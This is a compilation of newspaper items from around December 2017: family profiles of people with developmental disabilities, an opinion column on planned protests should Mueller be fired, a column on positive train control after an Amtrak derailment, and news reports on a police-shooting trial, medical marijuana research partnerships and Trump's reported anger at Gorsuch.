About Stacy: "She has been a warrior since birth," says her dad, Pete Byers. "She has many limitations, but she's a very loving person and says she's happy. She has a passion for Harry Potter, WWE, family bowling every Saturday, taking care of her cats, and being a member of the Gloucester County Community Chorus. We're proud of her resilience despite numerous physical, emotional and social setbacks, including being teased and bullied at school."

Hopes and fears: "We hope that she meets someone who will provide her love, companionship and friendship. We worry because her anxiety greatly impedes her ability to interact with the outside world and it gets worse as time goes on. [This is one of the last pictures Stacy has posed for, in 2015.] Will she be able to cope once my wife and I are gone?"

GRAYNLE EDWARDS

Age: 56

Diagnosis: Intellectual disability, nonverbal

Lives in: Chestnut Hill

About Graynle: "Graynle loves people, and he loves pretty ladies," laughs his mother, Verna. "He loves talking to people, even if they can't understand what he is saying; but he understands everything. He loves sports  his father takes him to basketball and football games  and he loved seeing the Mummers Parade on New Year's Day. He loves to dance and he will listen to anything, but his favorite is jazz. He has dozens of LPs and CDs and really enjoys hearing live music at LaRose Jazz Club [in Germantown]. He loves going to restaurants, and if you don't keep snack food on a high shelf, he'll dive right into it! When I take him shopping, I'll hear all these people saying, 'Hi!' That's because he's busy waving and smiling at everyone. He's a very happy guy and truly delightful company."

Hopes and fears: "I hope Graynle will always be happy and healthy  he is prediabetic and has asthma. My fear is that his dad and I will leave this world before Graynle does, or that the situation we work out for him won't end up being right for him."

R.J. THOMAS

Age: 58

Diagnosis: Brain damage as a result of high-forceps delivery

Lives in: Fairfax, Va.

About R.J.: "As you can see in this photo, R.J. has a copy of the Washington Post's TV guide," says R.J.'s sister, Mary Thomas. "It is his security blanket from both tactile and schedule perspectives. It's how we knew that he could read. R.J. likes to watch TV, go to the movies, eat at Olive Garden and drink Diet Coke, particularly from McDonald's. He has overcome the obstacle of having his fingernails trimmed. I began taking him to a local nail salon and now he knows the drill. It is amusing and heartening to watch him sit down and put a hand out for the manicurist."

Hopes and fears: "My hope for him is that the staff at his group home will pick up on his nonverbal cues. My fear is that as he ages and becomes more incontinent he will be left to sit in his own waste."

JULIAN GREEN

Age: 17

Diagnosis: Autism

Lives in: Philadelphia

About Julian: "Julian is a fun teenager who can be precocious in spite of being on the autism spectrum," says his father, Philadelphia City Councilman-at-Large Derek Green. "From an early age, he has loved art and once he starts a project does not want to stop until it's finished. At Houston Elementary School, his art was included in a mural for the Mount Airy Arts Garage. He loves school and truly enjoys math. In fact, he wants to do math even on vacation. Outside of school, he plays soccer and loves to dance to pop music. He named our dog Ms. Jagger after the Maroon 5 song 'Moves Like Jagger.' As Julian has gotten older, he has been able to overcome anxieties that once challenged him. His perseverance makes us so proud of him. He will not be defeated by autism or false expectations."

Hopes and dreams: "Our biggest hope is that Julian can live a full and rewarding life. We hope that he can continue his education and that college could one day be an option. Our biggest fear is for his safety and that someone would act out against him or misunderstand him because of his disability."

CHET STOFMAN

Age: 34

Diagnosis: Cerebral palsy, developmental delays, seizure disorder

Lives in: Pittsburgh

About Chet: "My son loves being a part of life," says mom Carol Tabas. "He is so happy to be included and have a purpose to get up in the morning. He wants to have a full day. He wants to be surrounded by people, activities, good food and conversation. He wants to know how his favorite teams played, what the weather is like and what's going on around him; no negative or scary news, please."

Hopes and fears: "My biggest hope is that Chet's life will be shared with a community of people that want him to be a part of their lives. Because he is nonverbal and medically fragile, my biggest fear is that he will outlive me and be cared for by people who do not know him and will not be able to to assess his needs and wants."

WENDY ROMANO

Age: 22

Diagnosis: Down syndrome

Lives in: Wayne

About Wendy: "Wendy is a Radnor High School alum and their biggest team fan," says her dad, Joseph Romano. "She now works part time at two jobs in women's retail fashion, which she loves. She does volunteer work for the elderly, loves baking, socializing with friends and, most of all, performing on stage: Musicals, plays, singing and dancing are her greatest passions. Every day she makes us proud. She is hardworking, compassionate, funny, fearless and loves time with family and friends."

Hopes and fears: "Our hopes for her are the same as any parent's  a happy, healthy life surrounded by people who love her. Our only worry is for her happiness and health after we are gone. But Wendy is a teacher, and from her we learned how much good there is in the world, which gives us faith in her future!"

KATIE ROBERSON

Age: 26

Diagnosis: Significant intellectual disabilities, seizures

Lives in: Philadelphia

About Katie: "For Katie, it's always been about connecting with people at the most fundamental level," says her mother, Kathy Roberson. "She can't easily express herself, but she's quick at picking up on facial expressions, body language, even a quiet sigh, and will immediately pat someone on their back and say, 'It's okay, don't worry.' We were walking down the street one day, and a woman came up to us asking for money. As I reached for my purse, I let go of Katie's hand, and without hesitating she walked over to the woman and hugged her. Not tentatively, not holding back because the woman's clothes and face were dirty, just an all-out, arms-holding-her-close hug. For a split second the woman looked startled, but then her face broke into a wide smile, and she hugged Katie back. These are the moments with Katie that make me look at the world, and myself, differently, and fill me with gratitude that she is my daughter."

Hope and fears: "I want her to be happy, to have people in her life who truly know her, who love and value her for who she is, and who are committed to figuring out how to handle the hard, complex challenges as they arise. The specifics of what that means, and how we will make that happen for her once we can't do it anymore, is what keeps me up at night, tossing and turning with a visceral, aching fear."

BILLY ENGLE

Age: 47

Diagnosis: Intellectually disabled with apraxia due to cerebral palsy

Lives in: Warrington

About Billy: "Billy is the oldest of our three children, and he loves family get-togethers and socializing with friends on Monday nights  some of whom he has known since he was three years old. Music has always been a huge part of Billy's life, especially the oldies, and he loves to line-dance  he's always the life of a party! He has struggled with the high turnover among the staff who take care of him. He will establish a good relationship with someone who then leaves the profession because they can't survive on the low salary that they are paid. This causes Billy sadness and anxiety; he wonders if he did something wrong. He's very compassionate and loves to be helpful: He has on more than one occasion, while outside of our house, come running in to alert us that a neighbor was in trouble and needed help. He would watch over young children in our neighborhood and warn them of cars approaching or would get their moms to let them know a little one was going toward the street when they shouldn't. He also loves funny jokes, acting silly and having practical jokes played on him  and then playing a joke on them."

Hopes and fears: "Our biggest hope for Billy is to be surrounded by those who love him, and to 'dance and sing' his way through life until God invites him to dance and sing in heaven. We worry what will happen to Billy when we're gone. What about the 'sick' people who prey on the ID population? He can't speak up to tell anyone if he is being mistreated."

PETER RUGGIERO

Age: 5

Disability: Cerebral palsy with spastic diplegia and speech delay

Lives in: Hummelstown, Pa.

About Peter: "I am so proud of my son  he is tough!" says mom Laura Ruggiero. "He falls so many times a day, but picks himself up and plows on ahead. He has skinned his knees but waved off help.

He has been riding at Capital Area Therapeutic Riding Association (CATRA) for two years and can do over 20 sit-ups while riding on a horse. He loves playing with cars and trains. Although he has a speech delay, he can clearly enunciate the word Lamborghini and makes great sports-car sounds. He has a natural talent of feeling a beat and rocking out. He can cook and can crack eggs on his own. Brownies are his favorite because they involve the mixer and licking the bowl clean."

Hopes and fears: "Living with CP has helped to make Peter strong, patient, and kind, and I hope his character will further build and inspire others. I fear that Peter will learn to think of himself only in terms of his disabilities and will limit himself."

JAKE CARR

AGE: 17

Diagnosis: Autism, epilepsy, intellectual disability

Lives in: Aston

About Jake: "Jake is a master of transportation, liking car rides, motorcycle rides, airplane rides and soon-to-be helicopter rides (one of his Christmas gifts)," says his mom, Trisha. "He attends Devereux CARES in Downingtown and he enjoys bowling at MacDade Bowl Autism Spectrum League with his friends Robbie and Taron. He likes to bounce, hop, skip and jump as if it's a workout. He has limited verbal ability and can get frustrated when unable to communicate. He is loved by his sisters, Olivia and Abby (and of course, Mommy and Daddy) and a big extended family."

Hopes and Fears: "I hope that Jake is and will be happy. That's a basic hope for any parent to have for their child. When they're unable to communicate, it can be challenging to assess. I also hope that when the day comes when my husband and I can't take care of him, that he will be safe and happy. My fear would be that he's unhappy and can't communicate that; I fear that someone would hurt him. I fear for what happens when my husband and I die. We joke that we can't die. A lot of people in our situation say that."

JORDYN DANNENBAUM

Age: 25

Disability: Down syndrome

Lives in: Bryn Mawr

About Jordyn: "We are proud of everything that Jordyn has accomplished," says her mom, Cindy Dannenbaum. "She went through our local public schools and then attended the LIFE program at George Mason University in Fairfax, Va., for four years. Jordyn is independent, warm, caring, and funny  a great daughter, sister, cousin, and friend. She volunteers one day a week, works in a restaurant three days a week, and loves seeing movies and Broadway shows, listening to music, and dancing."

Hopes and fears: "Our biggest hope for Jordyn is that she continues to be happy, live a productive life, and be surrounded by family and friends. Our biggest fear is for her to be alone."

RYAN MEHNERT

Age: 28, when he died last year from an unexpected reaction to an antibiotic

Disability: Cerebral palsy, epilepsy, hydrocephalus, and other conditions

Lived in: Carrollton, Texas

About Ryan: "He loved to laugh and he loved to have the people around him laughing as well. He had a streak of mischief in him," says dad Rob Mehnert. "He loved to 'hide' his teacher's trash can from her  it was a great game they played. He was a music fan  he went through portable CD players/headphones like they were water; he had a wide variety of musical tastes, but he had a core group of about 20 CDs he would listen to every single day (this explains why we had him wear headphones  nothing like listening to Amy Grant singing Christmas music in Texas in July). I loved Ryan's zest for life, his ability to smile even when times were tough, and his desire for everyone around him to be happy."

Hopes and fears: "Our biggest hope is that Ryan is waiting for us in heaven. Our biggest fear was that someone would target him for abuse; the fact that he was nonverbal would have made him an easy target for a predator."

JIM [last name withheld at his familys request]

Age: 70

Disability: Profoundly disabled due to a skull fracture from a high-forceps delivery.

Lives in: Bucks County

About Jim: "Jim is nonverbal and medically fragile with COPD, seizure disorder, has a permanent tracheotomy and enteral feeding tube," says his sister, Mary Gough. "Dispute his medical conditions he remains in stable health due to the excellent care he received at Hamburg for more than 50 years [Hamburg, a state-run institution, recently closed; Jim now lives in a group home]. Jim shows happiness in his surroundings by smiling at his caretakers and family visitors. He particularly likes being bathed, listening to music, and rides on the bus."

Hopes and fears: "We have been fortunate and remain ever grateful for the care Jim received at Hamburg. We are lucky that we found a good fit for this next stage of his life. But this was not an easy process. We were extremely disheartened by the dismal and depressing group homes that we visited [when Hamburg closed]. We also were alarmed by how few options exist for the aging population of severely disabled people who have medical issues that require on-site nursing staff."

KHOA DO

Age: 29

Disability: Severe mental delays and seizures caused by encephalopathy

Lives in: Frankford

About Khoa: "He's the heart and soul of my family," says his sister Trang Do, a reporter for CBS3. "He is the youngest of seven siblings, so we are all extremely protective of him. Everyone who meets him falls in love with him because he is always smiling and giving high-fives. His favorite activity is eating! Recently, he has started to display self-harming behavior, which is deeply troubling to us."

Hopes and fears: " My greatest fear is that Khoa will seriously hurt himself to the point where we will be unable to stop him. I'm so proud that, despite his diagnosis, he knows how to help us care for him, Whether it be maneuvering his body to allow us to change his diaper or letting us know what he would like to eat or drink. He is my reminder every day that life is a gift that is not to be wasted."

PATRICK COUGHLIN

Age: 9 months

Disability: Down syndrome

Lives in: Eagleville

About Patrick: "What can my wife, Kelly, and I say about Patrick that his beautiful pictures can't?" says dad James Coughlin. "His smile and laugh light up a room. He is extremely inquisitive, he wants to see and touch everything around him. He is quite a hard worker  he puts his best effort into all his therapies. He loves people, he wants to be always held and cuddled. He studies faces and tries to mimic their expressions and sounds. He LOVES playing with his doggies and being outdoors. He has a fondness for music and seems to enjoy everything from classical to American standards, pop, rock, hip-hop, and everything in between. He now loves to dance."

Hopes and fears: "Our biggest hope is that Patrick knows he is loved and supported, that he fulfills whatever life he is destined to have and whatever lifestyle he is capable of living, in whatever capacity he chooses and that the opportunity for him to do so is ever present. Our biggest fears for Patrick start with 'Are we able to do enough?' Do people realize he has the same capabilities as other children; he just needs extra support? What if we aren't around or able to support him when he's an adult and we as a society haven't evolved to support individuals with disabilities in a proper fashion?"

DINA GREER

Age: 48

Disability: Cerebral palsy, intellectual impairments

Lives in: Mount Airy

About Dina: "She's one of the most loving, happy people you'll ever meet," says Earni Young, her aunt and guardian. "Her life has been one long obstacle, but she pushes through. She has the memory of an elephant and is very good with technical things, like programming the VCR, but has no sense of time. If you tell her she's going somewhere next week, she thinks it means 'now.' She loves soap operas, especially The Young and the Restless, and Wii bowling, and is learning how to use a touchscreen notepad, even though her hand and eye coordination is not very good. I am proud of her positive attitude. If other people had to deal with what she deals with, they'd be a witch on wheels."

Hopes and fears: "Dina will always have to rely on the kindness of strangers, and I just hope she finds some very kind strangers. My fear is that things won't get better for her [Dina's group home was recently taken over by a new service provider after the state pulled the license on the prior agency; the transition has been painful and unsettling]. I once had to sue the state to get Dina the services she needed. If I have to sue again, I will, even if it takes all the money I have."

ELISE WESTCOTT

Age: 32

Disability: Intellectually disabled

Lives in: Lancaster

About Elise: "If I was not Elise Westcott's mother, she would be someone I would want to know and hang out with," says her mom, Maureen Westcott. "She is witty, empathic, insightful, and up to date on social and political happenings. She is a strong woman who comes from a family of strong women; and has overcome major obstacles in her life like the death of her father at a young age, medical setbacks (including cancer), and the ups and downs of trying to be independent."

Hopes and dreams: "I want her to find her own way and decide what she wants from life, like where to live and work. I want a system that supports her needs, but I don't want her thinking that the system is the only answer to life's challenges. I want her to think of herself as 'a person,' not 'a person with a disability.' "

ALEX NEBHUT

Age: 30

Disability: Cerebral palsy and intellectual disability

Lives in: Aston

About Alex: "He enjoys listening to music, spending time with his older brothers, going to his day program, horseback riding, visiting family friends, and attending our annual reunion of families who adopted children from India," says mom Carole Nebhut. "He also likes tagging along with me  a die-hard Laura Ingalls Wilder fan  to the Midwest prairies each summer. Alex is a very brave young man, having survived life in two Kolkata orphanages and a disrupted adoption in California before coming home to his family in Pennsylvania at age 6. He dealt with numerous orthopedic surgeries and years of difficult physical therapy so that he could master walking, and running, with a walker."

Hopes and fears: "I'm not fearful about Alex's future when I'm no longer around to take care of him," says Carole. "His oldest brother has promised to assume that role when the time comes. What I fear is the loss of Medicaid, which will bring all of Alex's services and supports to a screeching halt and make all that he has worked for meaningless."
Protesters yell at police officers as they are stopped from marching up State Street during President Donald Trumps announcement to eliminate vast portions of Utahs Bears Ears and Grand Staircase-Escalante national monuments in Salt Lake City, Utah, earlier this month. Larger protests are planned if Trump fires special counsel Robert Mueller, as many are predicting. Read more

You've seen those TV public-service ads many times. If  heaven forbid  a fire strikes your home or apartment building in the middle of the night, make sure that you have a plan for getting yourself and your family out safely. That means not just mapping the escape routes but conducting the occasional drill to make sure everyone is on the same page. Sure, it's a drag to hit the front pavement in your bathrobe on a chilly night for a false alarm, but the alternatives to good preparedness are unthinkable.

So what if it's not your house but the very idea of a (small-d) democratic United States that's ablaze? What if at, say, 5:30 p.m. on Friday, Dec. 22, as millions of Americans are loading up their trunks with presents for the drive to Grandma's house, or spiking their bowls of egg nog to prepare for a three-day Christmas weekend, President Trump decides to execute what would be the political Nightmare Before Christmas?

What if, after this long pounding of the faux outrage drums from his right-wing echo chamber on the Fox News Channel and elsewhere, the president either fires special counsel Robert Mueller  heading the criminal probe into possible collusion between Russia and Trump's 2016 campaign, obstruction of justice, and related matters  or takes actions meant to neuter the Mueller investigation?

Then what? Here's the good news: Beth Sweet of Chester County, Pa.  and thousands of people like Sweet  already have that middle-of-the-night fire drill for democracy all mapped out. Sweet is a leader for the western Philadelphia exurbs of a nationwide effort called "Nobody Is Above the Law  Mueller Firing Rapid Response," a project led by MoveOn.org and endorsed by other left-leaning political groups.

Sweet  who's already helped lead one protest this week, against the GOP tax bill, which drew more than 100 people outside Rep. Ryan Costello's West Chester office on Monday  admitted that "people are getting burned out because this is a big fight and every day there is something new." Yet she predicted the firing of Mueller, if it happens, could draw hundreds to downtown West Chester, that "people will be charged up." Nationally, more than 100,000 people have already signed up for this hypothetical protest, and the actual event could draw far more.

The idea behind the protest  which activists have been planning since July  is fairly simple: If Trump fires Mueller and it's after 2 p.m., protesters will stage a mass rally against the move at noon the next day, and if takes place before 2 p.m., the rallying time is 5 p.m. that night, Daylight Savings Time be damned. The rallying spots include Thomas Paine Plaza opposite City Hall in Philadelphia, the old courthouse on High Street in West Chester, and literally hundreds of other locations from coast-to-coast. If the president decides to emulate Richard Nixon's "Saturday Night Massacre" and fire Mueller as darkness descends on Dec. 23, the organizers must hope for a boisterous turnout on Christmas Eve.

It definitely wouldn't be a silent night.

It's safe to say that never in recent history has so much planning gone into protesting something that hasn't happened yet, and may never happen. But if you've been paying close attention these last few days, something is afoot. On American state-run television the Fox News Channel, what started as a whisper that the Mueller probe might somehow be ethically compromised has risen to a scream, driven home this weekend when Trump adviser and Wawa-loving Jersey Girl Kellyanne Conway appeared on FNC to denounce the probe under the shock banner "A Coup in America?"

Fox's most popular host, Sean Hannity, has referred to Mueller as "the head of the snake," more of the kind of rhetoric one might associate with totalitarian regimes than the United States of America, while FNC's Saturday night host Jeanine Pirro, a Trump friend and confidante who was a county district attorney in his home state of New York, has urged that FBI agents and others associated with Mueller's probe not just be fired but led away in handcuffs.

What's inspired this frenzy? Several small-to-middling occurrences and a few missteps, none more serious than a key FBI investigator caught texting his prosecutor girlfriend his personal opinion that Trump would be "a disaster" for this country (whichoh, nevermind); even though FBI agents are actually allowed to voice personal opinions, vote, etc., just like you, the overcautious Mueller yanked the FBI's Peter Strzok from his team and the Justice Department inspector general is probing whether any bias affected the investigation. Added to this swirl of overheated allegations is anger that Mueller's team used a governmental back channel to legally obtain emails sent by key members of Trump's presidential transition  a weird complaint after then-candidate Trump, at a public news conference in July 2016, pleaded with Russia to illegally steal and release the emails of his political foe, Hillary Clinton.

There's nothing wrong with getting to the bottom of incidents like the Strzok texts, but let's be clear about what is really happening here. There's a coordinated conspiracy involving the right-wing media universe that was created in the ashes of Watergate, working with zealously loyal members of Congress and top officials in the Trump administration, to inflate a few minor incidents into something they want to use to shut down one of the most important investigations in American history: Whether our presidential election was warped by a foreign influence campaign  one that may have occurred with knowledge or actual help from the winning candidate.

How can one agent's texts and the related bric-a-brac possibly compare with Team Trump's numerous contacts with Russian officials and their intermediaries, with the flow of stolen Democratic emails and documents that came from Russia with love just days after those meetings began, with the extensive Russian social-media campaign to sow U.S. divisions and help Trump win, with the proposed changes to the Republican platform and then to American policy toward the Ukrainian conflict and Russian sanctions coming from Team Trump, with the repeated lies from top Trump aides and family members about all of the above, and finally a cover-up with roots in the Oval Office?

There is no comparison. Any Trump move against Mueller would signal the end of an independent judiciary and any remaining notions that a president is subject to American law, in addition to the shock that an independent media and a corrupted Congress have no power to stop this. It would mean the end of truth and democratic ideals as the lingua franca of an American Experiment that will have imploded in failure.

Sally Yates, the acting attorney general who was fired by Trump in January after her warnings about his now-convicted-felon national security adviser Michael Flynn, said it best. "That's why Democratic and Republican administrations alike, at least since Watergate, have honored that the rule of law requires a strict separation between the Justice Department and the White House on criminal cases and investigations," Yates wrote Tuesday in USA Today. "This wall of separation is what ensures the public can have confidence that the criminal process is not being used as a sword to go after one's political enemies or as a shield to protect those in power. It's what separates us from an autocracy."

The stakes are so high that there are some signs Trump might back away from an outright Mueller firing. In fact, the president said as much Sunday night  even though he's gone back on his word dozens of times since becoming president just 11 months ago. Some analysts believe Trump is looking for ways to cripple the Mueller probe without firing Mueller (which would require help from top officials at Justice), such as firing the man that Mueller now reports to, Deputy Attorney General Rod Rosenstein, and then having Rosenstein's replacement clamp down on Mueller. Or he could pardon Flynn, who has already pleaded guilty, with an assumption he has a story to tell about Team Trump and Russia, and others in the administration.

Any of these things would be the real coup  proof that the president and those around him can commit crimes and get away with them. That's not lost on an activist like Sweet, 47, who's been somewhat active in Democratic affairs in East Goshen Township but who had never attended a protest before Trump's inauguration and since has built ties to Indivisible chapters and other anti-Trump groups. She said sacking Mueller might be the way that Trump once behaved as a real estate executive "but that's not the way democracy works." And while massive street protests might not change anything in the short run, she hopes these events are building pressure on elected officials to act.

If that means Christmas Eve on the chilly pavement of West Chester with a placard clutched in her hand, that's OK with Sweet  one woman with a fire-safety plan for American democracy. "If I have to spend it with my new friends and my protest sign, that's all right," she said. "This is life now  the new normal."
Lights illuminate cars from an Amtrak train that derailed above Interstate 5, Monday, Dec. 18, 2017, in DuPont, Wash. The Amtrak train making the first-ever run along a faster new route hurtled off the overpass Monday near Tacoma and spilled some of its cars onto the highway below, killing several people, authorities said. (AP Photo/Elaine Thompson) Read more

A speeding train. An approaching curve. A derailment that took lives.

I wrote Monday that the train derailment in Washington state was a reminder of Philadelphia's own train disaster two years ago, and the latest information only strengthens the unfortunate comparison.

The train that derailed about 40 miles south of Seattle on Monday was going 80 mph on a stretch of track with a 30 mph speed limit in advance of a curve, according to the Seattle Times. Three deaths have been reported.

Sound familiar? On May 12, 2015, Amtrak Train 188 was traveling at 106 mph as it approached a curve in Philadelphia with a 50 mph speed limit. It was one of 276 Amtrak derailments reported in the last 10 years.

There's a lot still to discover about what happened in Washington, and it's too soon to come to any conclusions about the cause of this derailment, but one fact is that a technology exists specifically to slow a train traveling too fast on the rails. Positive Train Control got a lot of attention in Philadelphia two years ago because experts said it would have automatically hit the brakes on Train 188 when the engineer, Brandon Bostian, did not. That would have saved eight lives and scores of injuries. But PTC wasn't in place then. And it apparently wasn't in place in Washington either to slow down Train 501.

That train was the first to travel on a newly upgraded route on the Cascades Line. While the status of PTC installation on that line is unclear, documents from the Washington Department of Transportation show that adding the speed control system was part of the upgrades to the vehicles and track. It wasn't active yet, though.

Here's what the DOT website says:

"This 'next generation' rail equipment features safety upgrades, including on-board positive train control system, which will automatically stop the train when there are dangerous situations on the rails, once the system is activated corridor-wide in 2018."

Both SEPTA and Amtrak's Northeast Corridor have PTC in place. NJ Transit has predicted a 2018 debut for the system on its rail lines. SEPTA and the Southern California Regional Rail Authority are the only railroads in the country, passenger or freight, that have fully installed PTC, the Federal Railroad Administration reported.

Clearly, journalists in Washington state will be digging into why this new route was activated before this critical safety system was ready  Amtrak's CEO Richard Anderson reportedly said the system was still being tested  but a short answer is that it wasn't required. Two years ago, Congress decided to postpone a mandate to have PTC on all freight and passenger railroads from the end of 2015 to 2018, with the possibility of another delay until 2020.

Whether the nation's railroads will have PTC by the new deadline remains an open question. Twenty of the 42 passenger and freight rail lines mandated to have PTC have reported it will be available by the end of 2018. An additional seven reported it will be installed by 2019 or 2020. With a year to go until the next due date, though, the progress reports these railroads have submitted don't look promising. Not quite half of all freight lines have their tracks installed with PTC equipment, and only 20 percent of passenger railroads have the necessary equipment in place, according to FRA data. Passenger railroads nationwide have 41 percent of their locomotives equipped with PTC's technology.

Amtrak, which carries about 31 million people a year, reported 1,263 deaths in the last decade. That includes people on the tracks hit by trains. Last year's deaths  167  was the highest number in a decade, though the rate of crashes not at grade crossings is lower than 10 years ago.

The former head of the Federal Railroad Administration, Sarah Feinberg, said PTC was critical when she was running the railroad regulator and wanted to push to have the system installed before 2018.

"PTC just has to be a huge priority and needs to be implemented as soon as possible," she said in May 2016, when she was still running the FRA.

That hasn't happened, though. Congress delayed the PTC mandate because railroads said it would be prohibitively expensive to get it done by the end of 2015. In November 2015, my colleague Jonathan Tamari wrote that railroads anticipated it would cost $12.5 billion to outfit about 70,000 miles of track with PTC. The 2015 deadline was established in 2008, nearly a decade ago, but the railroad industry lobbied Congress for the postponement, citing regulations, technological hurdles, and budget crunches as factors slowing installation, and saying they might have to shut down without an extension.

There was a Cassandra at the time: Sen. Barbara Boxer (D., Calif.). The now-retired senator opposed the extension, but legislators tied the measure to additional, and necessary, money for the highway trust fund, making it a must-pass, Tamari reported. Then they took a voice vote, meaning no legislator was on the record approving a PTC extension that experts said would leave the door open for another deadly crash to happen.

"It is a terrible precedent to place a major safety  I would say rollback, a safety rollback, on a three-week extension of the highway trust fund," Boxer said in 2015.

Based on the latest information out of Washington, it's possible the disaster Boxer predicted has happened.
A frame grab of the attempted killing of officer Jesse Hartnett, allegedly by suspect Edward Archer. Footage was presented during a press conference at Police Headquarters Friday January 8, 2016. Read more

A Delaware County man accused of shooting Philadelphia Police Officer Jesse Hartnett during an ISIS-inspired ambush attack in West Philadelphia in 2016 was ruled competent Monday to stand trial, paving the way for his case to go before a jury next month.

Edward Archer's attorney, Trevan Borum, had sought to convince Common Pleas Judge Leon W. Tucker that Archer was not mentally fit to participate in his defense, citing odd behavior witnessed by Archer's family and his refusal to speak with Borum or to submit to mental health evaluations.

But Tucker, siding with Assistant District Attorneys Allison Borgatti and Jan McDermott, ruled that Archer, 32, was aware of the charges against him and simply chose to avoid cooperating in the case.

Archer, of Yeadon, said nothing during the two-hour proceeding, refusing even to give his name for the record.

His mother, Valerie Holliday  who previously had said her son had been "hearing voices"  testified Monday that he often mumbled or spoke to himself and had a volatile, unpredictable temper. But that apparently was not enough to convince Tucker that Archer should not stand trial.

Archer refused three times to submit to a mental health evaluation, according to evidence presented Monday, leaving open the question of whether he suffers from a mental health condition.

Archer is accused of ambushing and shooting Hartnett on Jan. 7, 2016, while Hartnett was alone in his patrol car. Hartnett was hit several times in an arm but managed to return fire after he was attacked.

Investigators said Archer confessed to committing the shooting "in the name of Islam."

Archer, facing charges including attempted murder and aggravated assault, remained in custody Monday. His trial is scheduled to begin Jan. 22, 2018.
FILE: Cannabis flowers. Several Philadelphia area schools are jockeying to do research on medical marijuana. (Dreamstime/TNS) Read more

The University of the Sciences this week became the latest academic player to announce it was getting into marijuana research.

The school is pairing with Franklin BioScience, a large grower out of Denver, to create more consistent marijuana products and develop a cannabis education program for pharmacists, physicians, and students planning on entering the health professions.

Big marijuana is banking on Pennsylvania to become a major hub of the burgeoning legal cannabis sector, which last year was valued at $6.7 billion nationwide and is expected to balloon to over $21 billion by 2021, according to estimates by the Arcview Group.

When the commonwealth legalized medical marijuana last year, it was the first in the United States to include provisions for the academic study of the plant and its derivatives.

The law carves out eight permits for medical schools, which are called Academic Clinical Research Centers (ACRCs). But the interest for those slots among hospitals and universities has outpaced the number of permits. A green rush of companies is courting a wide range of health institutions in hopes of forging partnerships that each could be worth tens of millions of dollars.

These partnerships are also being assembled before the regulations are complete, so some deals could be made moot. The regulations to govern the academic permits are expected to be released in early January.

If the Pennsylvania Department of Health approves the partnerships, each cannabis company can operate a marijuana grow house, a processing facility that will turn plant materials into legal oils, and six dispensaries.

The prospect of the "Godzilla licenses" has irked the smaller 12 grower/processors and dozens of dispensaries that won permits in July after a grueling and highly competitive process. Under the current draft regulations governing ACRCs, there is no requirement for growers to be competitively scored by the state. Rumors have swirled for months about schools accepting millions of dollars from high-bidding cannabis companies in exchange for the use of their names.

Six Pennsylvania medical schools have struck deals to partner with marijuana growers, according to industry insiders. Those include Drexel, Temple, and Thomas Jefferson Universities, the University of Pennsylvania, the University of Pittsburgh Medical Center (UPMC) and Lake Erie College of Osteopathic Medicine (LECOM).

Of those half-dozen large institutions, only the arrangements between Temple and Laurel Harvest Labs and LECOM and grower Franklin Labs have been made public. Franklin Labs, which is not related to Franklin BioScience, is a Reading-based company headed by John Hanger, a former adviser to Gov. Wolf.

The potential revenues, and opportunities for research, have spurred smaller schools and independent hospitals to jockey for arrangements of their own. Last week, Children's Hospital of Philadelphia said it had joined with an Australian biopharmaceutical company to investigate the effectiveness of marijuana-derived medicines for autistic children.

Philadelphia College of Osteopathic Medicine said Friday it was "negotiating with several companies." A PCOM spokeswoman said she could not provide any additional details due to non-disclosure agreements.

Franklin BioScience, the USciences partner, won permits in July to open three medical marijuana dispensaries in Southeastern Pennsylvania. The first of those is set to open in Bristol in early 2018. Two additional sites are pending state approval. It also operates grow houses in Colorado and Nevada and markets the cannabis brands Lucky Edibles and Altus Labs.

The collaboration will also include "significant" research to create medical marijuana products "with more consistency and reliability," said Helena Yardley, Franklin BioScience's head of scientific research operations. "Pennsylvania, with their educational facilities, is in a powerful position to be one of the R&D capitals of this industry."

The partnership will build on the work of the school's Substance Use Disorders Institute, said Andrew Peterson, a USciences dean. USciences already offers the certification courses for health-care providers who want to recommend medical marijuana to their patients.

For more information about medical marijuana in Pennsylvania, including information on how to enroll in the program, visit medicalmarijuana.pa.gov. For complete cannabis coverage in Pa. and New Jersey, go to philly.com/cannabis.
President Trump welcomes Neil Gorsuch during the announcement of his nomination to the Supreme Court on Jan. 31. Read more

WASHINGTON  For nearly eight months, President Trump has boasted that appointing Neil Gorsuch to the Supreme Court ranks high among his signature achievements.

But earlier this year, Trump talked about rescinding Gorsuch's nomination, venting angrily to advisers after his Supreme Court pick was critical of the president's escalating attacks on the federal judiciary in private meetings with legislators.

Trump, according to several people with knowledge of the discussions, was upset that Gorsuch had pointedly distanced himself from the president in a private February meeting with Sen. Richard Blumenthal ( D., Conn.), telling the senator he found Trump's repeated attacks on the federal judiciary "disheartening" and "demoralizing."

The president worried that Gorsuch would not be "loyal," one of the people said, and told aides that he was tempted to pull Gorsuch's nomination  and that he knew plenty of other judges who would want the job.

It is unclear whether Trump's "explosion," as another administration official described it, truly put Gorsuch's nomination in jeopardy or whether the president was expressing his frustration aloud, as he often does. But at the time, some in the White House and on Capitol Hill feared that Gorsuch's confirmation  which had been shaping up to be one of the clearest triumphs of Trump's tumultuous young presidency  was on the verge of going awry.

This account is based on interviews with 11 people familiar with the episode, some of whom insisted on anonymity to discuss private deliberations.

Trump was especially upset by what he viewed as Gorsuch's insufficient gratitude for a lifetime appointment to the nation's highest court, White House officials said. The judge sent the president a handwritten letter dated March 2, thanking him for the nomination and explaining how grateful he was, according to a copy obtained by the Washington Post.

"Your address to Congress was magnificent," Gorsuch wrote. "And you were so kind to recognize Mrs. Scalia, remember the justice, and mention me. My teenage daughters were cheering the TV!"

The reference to "the justice" was to Antonin Scalia, the late justice whom Gorsuch replaced, and "Mrs. Scalia" is his widow, Maureen.

Aides said Trump did not immediately receive the note, but it was retrieved by legislative affairs director Marc Short and then viewed by Trump on March 10, helping ease his concerns.

"As head of legislative affairs, our team was in charge of his nomination, and never did I view his nomination in jeopardy, nor did the president ever suggest to me that he wanted to pull him," Short said. "The process obviously caused frustration, but that frustration was compounded by the fact that Gorsuch had sent him a personal letter that he never received."

Gorsuch, through a spokeswoman, declined to comment.

"The president's nomination of Neil M. Gorsuch was among his first and most important accomplishments during his first year in office, and delivered on a major campaign promise," White House spokesman Raj Shah said in a statement. "At no point did the president consider withdrawing Justice Gorsuch's nomination. He is very proud of the accomplishment."

Advisers also told Trump that Gorsuch was trying to demonstrate the independence necessary to make it through the confirmation process and that pulling the nomination would have far-reaching repercussions and might infuriate supporters who were enthusiastic about the conservative jurist.

